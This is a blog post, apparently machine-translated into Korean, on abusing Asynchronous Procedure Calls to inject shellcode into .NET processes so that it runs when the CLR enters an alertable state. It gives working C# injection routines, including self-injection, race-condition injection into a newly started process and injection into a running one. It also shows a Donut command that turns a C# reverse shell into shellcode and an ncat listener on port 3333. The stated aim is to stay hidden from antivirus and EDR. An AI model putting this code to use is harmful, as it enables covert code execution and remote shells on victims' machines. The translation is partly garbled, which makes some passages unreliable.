운행 중에 비밀리에 코드를 주입하다.정제 과정

24120 단어 securitycybersecurity

운행 중에 비밀리에 코드를 주입하다.정제 과정



개막사


지난 몇 달 동안 나는 이식 가능한 실행 파일 (PE) 형식과 프로세스 주입에 대한 내용을 더 많이 이해하는 데 흥미를 느꼈다.Among the many Process Injection techniques available, 저는 APC INJECTION에 관심이 많습니다.

비동기 프로세스 호출(APC)


Malware can take advantage of Asynchronous Procedure Calls (APC) to force another thread to execute their custom code by attaching it to the APC Queue of the target thread. Each thread has a queue of APCs which are waiting for execution upon the target thread entering alertable state. A thread enters an alertable state if it calls SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, or WaitForSingleObjectEx functions. The malware usually looks for any thread that is in an alertable state, and then calls OpenThread and QueueUserAPC to queue an APC to a thread.


이상의 내용은 Ashkan Hosseini's writeup(아래 학점 참조)에서 발췌한 것으로 APC와 악성 소프트웨어가 어떻게 이를 Process Injection에 사용할 수 있는지 잘 설명하였다.
기본적으로
  • 은 각 라인마다 하나의 대열을 가지고 있다.
  • 대기열에 함수를 배치할 수 있습니다.
  • 이 대기열은 비동기적으로 실행됩니다. 이것은 스레드가 비어 있고 경보 상태가 되면 이 대기열의 함수는 FIFO
  • 으로 실행됩니다.
  • 스레드를 경보 가능 상태로 만들려면 다음과 같은 함수 중 하나를 실행해야 한다

  • SleepEx
  • SignalObjectAndWait
  • WaitForSingleObjectEx
  • WaitForMultipleObjectsEx
  • MsgWaitForMultipleObjectsEx
  • NtTestAlert - Undocumented function, credits to ired.team


  • 그럼 우리 뭐 할까요?


    이런 주입 기술의 핵심은 함수 QueueUserAPC이다.QueueUserApc은 케이스 코드를 비동기 함수로 추가하고, 라인이 경보가 가능해지면 이 함수를 호출합니다.

    백신 프로그램이나 EDR는 이 함수를 간단하게 연결하고 사용하는 사람을 표시할 수 있다고 생각할 수도 있다.그러나 이것은 Asynchronous Programming이 자주 사용하는 함수다.따라서 보안 솔루션은 QueueUserApc에서 ResumeThread까지의 일련의 호출을 모니터링하거나 CreateThread, CreateRemoteThread API 호출과 같은 다른 일부 함수를 모니터링할 수 있습니다. 이러한 호출은 더욱 인기가 있기 때문에 보통 AV/EDR 공급업체의 심사를 받습니다.
    만약 한 가지 방법이 존재한다면, 이 분야에서는요.Net 애플리케이션의 스레드 설정은 항상 경고로 이루어지며 Common Language Runtime(CLR)이 아닌

    CLR은 저희 친구예요.


    우리가 하나를 컴파일하면Net 코드는 Microsoft 중간 언어(MSIL) 코드로 컴파일됩니다..exe 또는 .dll의 형식입니다.그러나 이러한 PE 파일에는 기계 명령이 포함되지 않습니다.상용하는 용어는 Managed Code이다.그것들은 기계에 독립된 것이다.니가 권한만 있다면Net 프레임워크가 설치되어 있어 유용합니다.CLR Loader은 이 Managed Code을 불러오고 명령을 Just-in-time 컴파일러에 보냅니다. 이 컴파일러는 실행할 때 MSIL 코드를 CPU가 실행하는 기계 코드로 변환합니다.

    흥미로운 것은 위의 그림에서 CLR이 최종적으로 스레드 지원을 처리한다는 것을 보여 준다.Threads인치.NET는 CLR에서 처리하며 위에 나열된 경고 방법을 호출할 수 있습니다.
    C#로 표현(예:
    Thread.Sleep(1000);
    
    최종적으로 JIT에서 컴파일하고 그 중 경보 가능한 방법 SleepEX(..)을 호출할 것이다.
    이 선은 현재 휴면 상태, 휴면 상태에 있다.그렇지 않으면 APC 큐에서 수행해야 할 몇 가지 기능이 있습니다.
    흥미로운 것은 Thread.Sleep을 호출할 수 있는 목표 실행 파일이 필요하지 않다는 것이다.
    이 놀라운 article and research by Dwight Hohnstein

    Due to the nature of the .NET compiled language runtime, user asynchronous procedure calls (APCs) are processed upon the exit of any .NET assembly without manually triggering an alertable state from managed code.


    프로그램이 종료될 때마다 CLR은 항상 WaitForMultipleObjectsEx을 호출합니다!

    이것은 우리에게 무엇을 의미하는가?


    이것은 모든 것을 의미한다.NET 실행 파일은 알림 호출이 없어도 CLR에서 종료할 때 로드됩니다.Net 실행 파일에서 경고 방법을 호출합니다.
    즉, 케이스 코드를 MSIL 코드로 쉽게 주입할 수 있습니다.net 실행 파일로 의심스러운 API 호출 체인을 과도하게 사용할 필요가 없습니다. 최종적으로 목표 프로그램이 종료될 때 CLR이 WaitForMultipleObjectsEx을 호출할 때 라인은 경보 상태로 설정되고 케이스 코드를 실행합니다.
    이 계발은 내가 POC를 써서 그것이 정말 효과가 있는지 없는지를 보게 했다.
    나는 이 예시 중의 일부 코드를 생략해서 그것을 더욱 짧게 할 것이다.
    전체 소스 코드는 repository에 있습니다.

    먼저 케이스 코드를 만듭시다.


    셸 코드는 C#로 작성된 간단한 반전 셸입니다.연결 포트 3333의 리버스 스킨
    코드는 here;
    그리고 나는 Donut을 사용하여 우리의 MSIL 바이너리 파일을 케이스 코드로 컴파일했다.
    D:\Users\Razali\Source\Repos\donut>donut.exe -a2 -f2 -cShellCode.Program -mMain -o "myshellcode.txt" "D:\Users\Razali\Source\Repos\ProcessInjector.NET\ProcessInjector\ShellCode\bin\Release\shellcode.exe"
    
      [ Donut shellcode generator v0.9.3
      [ Copyright (c) 2019 TheWover, Odzhan
    
      [ Instance type : Embedded
      [ Module file   : "D:\Users\Razali\Source\Repos\ProcessInjector.NET\ProcessInjector\ShellCode\bin\Release\shellcode.exe"
      [ Entropy       : Random names + Encryption
      [ File type     : .NET EXE
      [ Target CPU    : amd64
      [ AMSI/WDLP     : continue
      [ Shellcode     : "myshellcode.txt"
    
    -a2 케이스 코드를 amd64으로 컴파일하도록 지정-f2에서 base64으로 지정-c 지정 <namespace>.<class name>-m 지정 Method name-o 지정 output filename

    이제 청취자 설정을 해볼게요.


    연결을 감청하고 셸과 상호작용을 하기 위해 아래의 모든 예시에서 넷캣을 사용할 것입니다.
    C:\Users\Razali\Desktop\ncat-portable-5.59BETA1>ncat -l 3333
    
    

    주입하다


    이 예는 호출 프로세스에 케이스 코드를 주입한 후 프로세스가 종료될 때 케이스 코드가 호출되는 것을 보여 줍니다.코드의 어떤 부분에서도 우리는 알림 가능한 호출을 보내지 않았다.
    static void SelfInject(byte[] shellcode)
    {
        IntPtr allocatedSpacePtr = VirtualAlloc(0, shellcode.Length, 0x00001000, 0x40);
        Marshal.Copy(shellcode, 0, allocatedSpacePtr, shellcode.Length);
        QueueUserAPC(allocatedSpacePtr, GetCurrentThread(), 0);
        Console.WriteLine("Goodbye");
    }
    
    오늘 이후로 그것은 적절하다는 것을 증명했다.NET 프로세스가 종료되었을 때, CLR은 확실히 내가 경고할 수 있는 방법을 호출한 것을 대표한다. 이 방법은 케이스 코드를 호출했고, 우리는 케이스를 얻었다.

    경쟁 조건 투입 사용


    QueueUserAPC의 설명서와 같이 마스터 스레드가 시작되기 전에 APC를 대기열에 배치하면 마스터 코드를 실행하기 전에 대기열에 있는 모든 APC가 마스터 스레드에서 먼저 실행됩니다.
    실험에서 나는 Console Application이 때때로 너무 빨라서 경쟁 조건을 실행할 수 없다는 것을 발견했다. 왜냐하면 CLR은 내가 APC를 대기열에 쓰기 전에 메인 라인을 불러오고 시작하는 것 같기 때문이다.
    그래서 저는 APC를 Windows Form에 주입하려고 했습니다. 이 주입은 CLR에서 UI 스레드를 설정하는 데 시간이 더 걸려서 APC가 시작되기 전에 빨리 주입할 수 있습니다.우리가 바라는 것은 껍질을 떠나지 않는 상황에서 껍질을 실현하는 것이다.셸은 UI 스레드 (주 스레드) 가 시작되기 전에 이미 실행되었기 때문에 NET 프로세스입니다.셸이 UI 스레드로 실행되기 때문에, 우리는 Windows Form을 볼 수 없습니다. 왜냐하면 UI 스레드가 나의 셸으로 바쁘기 때문입니다.
    static void InjectRunningProcessUsingRaceCondition(byte[] shellcode, string victimProcessPath)
    {
        STARTUPINFO startupinfo = new STARTUPINFO();
        PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();
    
        CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);
    
        IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
        IntPtr bytesWritten = IntPtr.Zero;
    
        WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);
    
        Process process = Process.GetProcessById(processInformation.dwProcessId);
        foreach (ProcessThread thread in process.Threads)
        {
            IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
            VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
            QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
        }
    }
    
    이후 마스터 스레드와 경쟁할 수 있음을 확인하고 시작하기 전에 APC를 주입하여 마스터 스레드가 실제 코드 이전에 APC를 실행하도록 합니다.

    어떤 달리기에도 주사를 놓다.정제 과정


    첫 번째 예에서 확인한 바와 같이 APC는 프로그램을 종료한 후에 실행됩니다.
    나는 간단하게 내 Windows Form을 먼저 시작해서 그것을 시뮬레이션했다. 내 주입기 코드에서 Thread.Sleep을 사용하여 작동을 멈추고 주입기를 실행했다.
    static void InjectRunningProcess(byte[] shellcode, string victimProcessPath)
    {
        STARTUPINFO startupinfo = new STARTUPINFO();
        PROCESS_INFORMATION processInformation = new PROCESS_INFORMATION();
    
        CreateProcess(null, victimProcessPath, 0, 0, false, 0, 0, null, ref startupinfo, ref processInformation);
    
        //Thread sleep is used here to give the victim process time to load and run its main thread.
        //We do not want to race against it.
        Thread.Sleep(3000);
    
        IntPtr allocatedSpacePtr = VirtualAllocEx(processInformation.hProcess, IntPtr.Zero, shellcode.Length, 0x00001000, 0x40);
        IntPtr bytesWritten = IntPtr.Zero;
    
        WriteProcessMemory(processInformation.hProcess, allocatedSpacePtr, shellcode, shellcode.Length, out bytesWritten);
        Process process = Process.GetProcessById(processInformation.dwProcessId);
        foreach (ProcessThread thread in process.Threads)
        {
            IntPtr threadHandle = OpenThread(0x0010, false, thread.Id);
            VirtualProtectEx(processInformation.hProcess, allocatedSpacePtr, shellcode.Length, 0x20, out _);
            QueueUserAPC(allocatedSpacePtr, threadHandle, 0);
        }
    }
    
    예상한 바와 같이, 내가 프로그램을 닫는 순간, 우리는 역방향 셸을 얻었다.

    위의 그림은 양식이 시작되고 나중에 APC 주입이 발생하는 것을 보여 줍니다.예상한 연결이 발생하지 않았습니다.

    표에서 물러난 후, 우리는 반대 케이스를 얻었다.

    결론


    CLR이 항상 메인 라인을 경보할 수 있도록 하는 것을 보았습니다.QueuseraPC 주입 방법을 사용할 수 있습니다.우리는alertable 방법을 직접 호출할 수 있지만, CLR이 우리를 위해 그것을 호출하는 것을 허용하면 더욱 은폐될 수 있습니다.우리는 또 이 점을 누구에게도 이용당할 수 있다는 것을 발견했다.NET 실행 파일
    Dwight Hohnstein이 그의 블로그 글에서 정리한 바와 같이, 너는 임무 스케줄링 이벤트를 연결하고 그 중의 스케줄링 프로그램을 주입할 수 있다.이것은 우리의 코드를 '서명' 바이너리 파일에서 실행하거나 지렛대 권한으로 실행할 수 있도록 합니다.

    크레디트

  • Ten process injection techniques: A technical survey of common and trending process injection techniques by
    Ashkan Hosseini
  • The Curious Case of QueueUserAPC by Dwight Hohnstein
  • Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert
  • Donut-PIC Code generator for .NET
  • 좋은 웹페이지 즐겨찾기